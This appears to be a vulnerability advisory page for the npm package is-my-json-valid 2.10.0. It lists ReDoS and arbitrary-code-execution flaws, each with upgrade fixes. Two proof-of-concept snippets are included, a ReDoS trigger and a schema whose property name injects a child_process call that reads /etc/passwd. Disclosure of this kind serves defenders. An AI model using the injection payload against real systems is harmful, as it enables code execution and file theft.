org.webjars.npm:is-my-json-valid@2.10.0 vulnerabilities

  • latest version

    2.20.6

  • latest non vulnerable version

  • first published

    9 years ago

  • latest version published

    2 years ago

  • licenses detected

  • package manager

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:is-my-json-valid package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the style format.

    ##PoC

    const imjv = require('is-my-json-valid')
    const validate = imjv({ maxLength: 100, format: 'style' })
    console.log(validate(' '.repeat(1e4)))
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade org.webjars.npm:is-my-json-valid to version 2.20.5 or higher.

    [,2.20.5)
    • H
    Arbitrary Code Execution

    Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName function.

    ##PoC

    const schema = {
      type: 'object',
      properties: {
        'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
          required: true,
          type:'string'
        }
      },
    }
    var validate = validator(schema);
    validate({})
    

    How to fix Arbitrary Code Execution?

    Upgrade org.webjars.npm:is-my-json-valid to version 2.20.5 or higher.

    [,2.20.5)
    • L
    Regular Expression Denial of Service (ReDoS)

    is-my-json-valid is a universal validation plugin.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. It used a regular expression (/^\S+@\S+$/) in order to validate emails. This can cause an impact of about 10 seconds matching time for data 90K characters long.

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade is-my-json-valid to version 2.17.2, 1.4.1 or higher.

    [,1.4.1)[2.0.0,2.17.2)
    • H
    Regular Expression Denial of Service (ReDoS)

    is-my-json-valid is a JSONSchema validator that uses code generation to be extremely fast.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

    [,2.12.4)